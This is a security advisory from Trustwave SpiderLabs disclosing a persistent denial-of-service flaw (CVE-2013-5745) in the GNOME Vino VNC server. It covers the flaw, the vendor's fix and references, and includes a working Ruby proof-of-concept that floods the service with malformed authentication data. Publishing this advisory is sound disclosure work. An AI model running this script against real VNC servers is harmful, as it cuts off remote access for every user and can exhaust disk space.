Trustwave SpiderLabs Security Advisory TWSL2013-028:
Persistent Denial of Service Vulnerability in Vino VNC Server

Published: 09/16/13
Version: 1.0

Vendor: The GNOME Project (https://wiki.gnome.org/Vino)
Product: Vino VNC Server
Version affected: Vino VNC Server 3.7.3 and earlier versions (3.8 stable
release is affected if encryption is disabled).

Product description:
Vino is the GNOME desktop sharing server.

Finding 1: Remote Persistent Denial of Service Vulnerability
Credit: Jonathan Claudius of Trustwave SpiderLabs
CVE: CVE-2013-5745
CWE: CWE-20

The Vino VNC server, which is also the default VNC server in Ubuntu
(3.4.2-0ubuntu1.2), is vulnerable to a persistent denial of service
vulnerability.  The vulnerability is triggered when a VNC client, who
claims to only support protocol version 3.3, sends malformed data during
the authentication selection stage of the authentication process.

If this process is repeated more than just a couple times, it causes Vino
VNC server to fall into what appears to be an infinite loop, as seen in the
service logs via repeating "Authentication deferred - ignoring client
message" messages.  This not only affects the connecting client IP, but
affects service level availability for all potential VNC clients and the
service fails to handle any new VNC client requests regardless of client
IP.

The Vino VNC server must be restarted in order to restore VNC service
availability.

Additionally, after the failure condition has occurred, the log file
(~/.xsession-errors) grows quickly to 1GB within 4min in testing.  If left
unattended in the failure state, a system wide denial of service due to
file system consumption is possible.

Example:

The following Proof of Concept (PoC) connects to the Vino VNC Server, sends
a client banner, and then sends a malformed payload of repeating A's.
After the first 3-4 payloads are sent, the port will remain open, but the
service will fail to handle any new client requests from any client on any
IP.


## vino-vnc-dos-poc.rb ####

require 'socket'
require 'timeout'

# Just a couple payloads in a row should be enough to send Vino into an
# (authentication deferred - ignoring client message loop) and spoil the party
client_banners = []
10.times {client_banners << "RFB 003.003"}

client_banners.each do |client_banner|
  puts "Testing " + client_banner

  begin

    Timeout::timeout(5) {
      sock = TCPSocket.open("a.b.c.d", 5900)
      puts "Waiting for Server Banner..."

      banner = sock.gets()
      puts "Got Server Banner: " + banner
      sock.write(client_banner + "\n")

      payload = "A" * 16
      puts "Sending Payload: " + payload
      sock.write(payload)

      sock.close
    }

  rescue Timeout::Error
    puts "Operations are timing out, you may have DoS'd the service"
  rescue Errno::ECONNREFUSED
    puts "Cannot connect to service, this is likely an IP/Port mismatch"
    exit
  end

end

############################

Remediation Steps:
The vendor has released a fix in commit 51435d3f946d6d2b99b876b7919b9d41022fc408 and
commit 860337231eaccfeed4f857afd0579546a260c23f for the Vino VNC Server.

Vendor Communication Timeline:
9/10/13 - Vulnerability disclosed to vendor
9/11/13 - Patch released by vendor
9/16/13 - Advisory published

Additional Credits: BitBlaze Group (http://bitblaze.cs.berkeley.edu/)
Initial discovery of the denial of service vulnerability in Vino
2.26.1 and 2.32.1


References
1. https://wiki.gnome.org/Vino
2. https://bugzilla.gnome.org/show_bug.cgi?id=707905
3. https://bugzilla.gnome.org/show_bug.cgi?id=641811


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application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
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